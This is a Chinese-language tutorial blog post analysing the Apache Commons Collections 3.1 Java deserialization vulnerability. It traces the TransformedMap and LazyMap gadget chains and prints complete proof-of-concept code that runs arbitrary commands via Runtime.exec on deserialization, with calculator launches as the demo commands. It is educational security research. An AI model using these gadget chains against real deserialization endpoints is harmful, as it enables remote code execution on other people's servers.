从apache-commons-collections中学习java反序列化

本文首发于先知社区:从apache-commons-collections中学习java反序列化 - 先知社区 (aliyun.com)

前言

​ java安全学习的第一篇文章,apache commons collections3.1的反序列化漏洞是java历史上最出名同时也是最具有代表性的反序列化漏洞,废话不多说,我们直接上手分析。希望能帮助到和我一样的初学者。

环境准备

基础知识准备

java反射机制

​ 反射就是在运行时才知道要操作的类是什么,并且可以在运行时获取类的完整构造,并调用对应的方法。

​ Java反射在编写漏洞利用代码、代码审计、绕过RASP方法限制等中起到了至关重要的作用。

1
2
3
4
5
Java.lang.Class;
Java.lang.reflect.Constructor;
Java.lang.reflect.Field;
Java.lang.reflect.Method;
Java.lang.reflect.Modifier;
获取反射中的Class对象
1
2
3
4
5
6
7
#Class.forName 静态方法
Class clz = Class.forName("java.lang.String");
#使用 .class 方法。
Class clz = String.class;
#使用类对象的 getClass() 方法
String str = new String("Hello");
Class clz = str.getClass();
获取方法
1
2
3
getMethod方法返回一个特定的方法,其中第一个参数为方法名称,后面的参数为方法的参数对应Class的对象

public Method getMethod(String name, Class<?>... parameterTypes)
反射Runtime执行本地命令
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// 获取Runtime类对象
Class runtimeClass1 = Class.forName("java.lang.Runtime");

// 获取构造方法
Constructor constructor = runtimeClass1.getDeclaredConstructor();
constructor.setAccessible(true);

// 创建Runtime类示例,等价于 Runtime rt = new Runtime();
Object runtimeInstance = constructor.newInstance();

// 获取Runtime的exec(String cmd)方法
Method runtimeMethod = runtimeClass1.getMethod("exec", String.class);

// 调用exec方法,等价于 rt.exec(cmd);
Process process = (Process) runtimeMethod.invoke(runtimeInstance, cmd);

// 获取命令执行结果
InputStream in = process.getInputStream();

// 输出命令执行结果
System.out.println(IOUtils.toString(in, "UTF-8"));

Java反序列化

​ 类似php中反序列化使用的魔术方法,比如__destruct函数。在java中,readObject方法在反序列化漏洞时起到了至关重要的作用,利用ObjectInputStream的readObject方法进行对象读取的时候,当readObject()方法被重写的时候,反序列化该类时调用的就是重写的方法。

1
2
3
4
5
private void writeObject(ObjectOutputStream oos)  //自定义序列化
private void readObject(ObjectInputStream ois) //自定义反序列化
private void readObjectNoData()
protected Object writeReplace() //写入时替换对象。
protected Object readResolve()

反序列化时会自动调用readObject(ObjectInputStream)方法。我们通过在需要序列化/反序列化的类中定义readObjectwriteObject方法从而实现自定义的序列化和反序列化操作。

漏洞原理分析

我们在分析cc链反序列化化漏洞的主要思路其实就是两条:

  • 利用InvokerTransformerConstantTransformerChainedTransformer 等类构建反射链,利用java的反射机制,然后通过类中的transformer类来调用。
  • 找Common Collections中的类在反序列化时,会触发调用 transform 方法的情况,并以此来构建反序列化漏洞的攻击链。

接下来我们使用IDEA跟进代码进行审计

一、寻找反射链

org/apache/commons/collections/functors/InvokerTransformer

IDEA跟进类中(48~61行):

​ 可以看到此处的transform方法调用了java的反射机制,并且发现this.iMethodName , this.iParamTypes, this.iArgs我们都是可以直接输入的。而input是在函数调用的时候传入的,我们同样是可控的。

当我们向对应参数传入以下值,即可以调用代码执行:

存在一组可控的反射调用是cc链存在反序列化漏洞的根本原因,但是这里我们只能只能在本地服务器上执行。是无法达成我们想要远程执行命令的效果,这里主要的限制是我们没有没有办法直接传入Runtime类的实例对象。

要想真正的形成调用链,我们仍然需要利用java的反射机制来调用函数,并且至少要调用四个方法:

1
getMethod(), getRuntime(), exec() ,invoke()

所以我们之后找到了ChainedTransformer 类。

org/apache/commons/collections/functors/ChainedTransformer

IDEA跟进53~63行

简单的分析代码逻辑,该类的构造函数接受一个数组,我们只需要传入一个数组chainedTransformer就可以依次去调用每一个类的transform方法。

org/apache/commons/collections/functors/ConstantTransformer

接口函数,在上面的循环中进入了不同的函数。给一个初始的object,然后输出作为下一个输入,从而实现链式调用。

最后的反射poc如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Transformer[] transformers = new Transformer[] {
//传入Runtime类
new ConstantTransformer(Runtime.class),
//反射调用getMethod方法,然后getMethod方法再反射调用getRuntime方法,返回Runtime.getRuntime()方法
new InvokerTransformer("getMethod",
new Class[] {String.class, Class[].class },
new Object[] {"getRuntime", new Class[0] }),
//反射调用invoke方法,然后反射执行Runtime.getRuntime()方法,返回Runtime实例化对象
new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class },
new Object[] {null, new Object[0] }),
//反射调用exec方法
new InvokerTransformer("exec",
new Class[] {String.class },
new Object[] {"open -a Calculator"})
};
Transformer transformerChain = new ChainedTransformer(transformers);

我们已经构造好了恶意的反射链条,现在我们的目标是触发该类的transform方法。

二、寻找触发链

1
2
3
4
5
某个类的readObject方法
->一系列调用
->Transformerchain的transformer方法
->执行反射链
->执行Runtime.getRuntime().exec(new String[]{"calc"})
  • 找到一个 tansform() 方法 , 该方法所属的实例对象是可控的
  • 找到一个重写的 readObject() 方法 , 该方法会自动调用 transform() 方法.

JDK1.7–TransformedMap利用链

Transmap类在一个元素被添加/删除/或是被修改时,会调用transform方法。我们可以通过TransformedMap.decorate()方法获得一个TransformedMap的实例。

​ 因此,我们可以先构造一个TransformeMap实例,然后修改其中的数据,然后使其自动调用我们之前设定好的transform()方法。

调用链:
1
2
3
4
5
6
->ObjectInputStream.readObject()
->AnnotationInvocationHandler.readObject()
->TransformedMap.entrySet().iterator().next().setValue()
->TransformedMap.checkSetValue()
->TransformedMap.transform()
->ChainedTransformer.transform()
分析:

首先看/org/apache/commons/collections/map/TransformedMap

1
2
3
4
5
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}

TransformedMap中的valueTransformer在初始化时我们是可控的.

1
2
3
4
5
public Object put(Object key, Object value) {
key = this.transformKey(key);
value = this.transformValue(value);
return this.getMap().put(key, value);
}

当执行put方法时会进入transformValue方法:

1
2
3
protected Object transformValue(Object object) {
return this.valueTransformer == null ? object : this.valueTransformer.transform(object);
}

我们可以控制这里的valueTransformer值为ChianedTransformer即可触发利用链。

但是目前的构造仍然需要Map中的某一项去调用setValue(),我们如果想要在反序列化调用readObject()时直接触发呢?

AbstractInputCheckedMapDecorator类

​ 调用java自带类AnnotationInvocationHandler中重写的readObject方法,该方法调用时会先将map转为Map.entry,然后执行setvalue操作。

1
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));

TransformedMap利用Map.Entry取得第一个值,调用修改值的函数,会触发的setValue()代码

1
2
3
4
public Object setValue(Object value) {
value = this.parent.checkSetValue(value);
return this.entry.setValue(value);
}

接着到了TransoformedMap的checkSetValue()方法。

1
2
3
protected Object checkSetValue(Object value) {
return this.valueTransformer.transform(value);
}

​ 这里的valueTransformer.transform实际上就是ChianedTransformer类的transform方法。就会触发刚刚我们构造的反射链。

最后的POC:

这里直接上其他大师傅们的poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
package Serialize2;


import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class ApacheSerialize2 implements Serializable {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);

Map map = new HashMap();
map.put("value", "sijidou");
Map transformedMap = TransformedMap.decorate(map, null, transformerChain);

Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, transformedMap);

//序列化
FileOutputStream fileOutputStream = new FileOutputStream("serialize3.txt");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(instance);
objectOutputStream.close();

//反序列化
FileInputStream fileInputStream = new FileInputStream("serialize3.txt");
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
Object result = objectInputStream.readObject();
objectInputStream.close();
System.out.println(result);

}
}

JDK1.8–LazyMap利用链

​ 对于JDK 1.8来说,AnnotationInvocationHandler类中关键的触发点,setvalue发生了改变。所以我们需要寻找新的类重写readObject来实现调用,

调用链
1
2
3
4
5
6
反序列化BadAttributeValueExpException
->BadAttributeValueExpException.readObject()
->TideMapEntry.toString()
->TideMapEntry.getValue()
->LazyMap.get()
->ChainedTransformer.transform()
分析

我们首先看一下LazyMap这个类,这个类也实现了一个map接口:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
protected LazyMap(Map map, Transformer factory)
{
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}

//get方法
public Object get(Object key)
{
if (!this.map.containsKey(key))
{
Object value = this.factory.transform(key);
this.map.put(key, value);
return value;
}
return this.map.get(key);
}

​ 我们可以看到get方法中如果没有找到key的键值,就会调用factory.transform(key);,这里的factory变量属于Transformer接口类并且具体使用哪一个类来实例化对象是我们可控的。也就可以形成调用链。

那么如何去自动调用get()方法,跟进TiedMapEntry

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public TiedMapEntry(Map map, Object key)
{
this.map = map;
this.key = key;
}

//toString方法
public String toString()
{
return getKey() + "=" + getValue();
}

//getKey方法
public Object getValue()
{
return this.map.get(this.key);
}

TiedMapEntry中,构造时传入使用LazyMap,调用tostring()方法,然后紧接着就会调用LazyMap类对象的get方法。

​ 那么到目前为止,我们仍然需要一个类可以在反序列化重写readObject()时可以自动调用toString方法。完整的利用链就可以形成。

BadAttributeValueExpException类

看到BadAttributeValueExpExceptionreadObject反序列化方法,调用了toString方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);

if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}

​ 其中 valObj 为构造的 TiedMapEntry 类的对象,可以看到其中调用了该类的 toString 函数。

​ 所以,我们只要构造一个BadAttributeValueExpException对象,并注入我们精心制造的TiedMapEntry对象。就可在以在反序列时,执行任意命令。

最后的POC
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
public class Exec  {

public static BadAttributeValueExpException getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };

final Map innerMap = new HashMap();

final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, entry);
Class<? extends Transformer> aClass = transformerChain.getClass();

Field iTransformers = aClass.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(transformerChain,transformers);

return val;
}

public static void main(String[] args) throws Exception {

BadAttributeValueExpException calc = getObject("calc");

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();//用于存放person对象序列化byte数组的输出流

ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(calc);//序列化对象
objectOutputStream.flush();
objectOutputStream.close();

byte[] bytes = byteArrayOutputStream.toByteArray(); //读取序列化后的对象byte数组

ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);//存放byte数组的输入流

ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
Object o = objectInputStream.readObject(); //将byte数组输入流反序列化


}

}

参考文章

https://b1ue.cn/archives/166.html

https://www.mi1k7ea.com/2019/02/06/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/

https://www.secpulse.com/archives/137940.html

https://shaobaobaoer.cn/java-an-quan-xue-xi-bi-ji-si-apache-commons-collectionsfan-xu-lie-hua-lou-dong/

https://security.tencent.com/index.php/blog/msg/97

https://www.xmanblog.net/java-deserialize-apache-commons-collections/

https://lzwgiter.github.io/Apache-Commons-Collections%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/

https://xz.aliyun.com/t/4558#toc-0

0%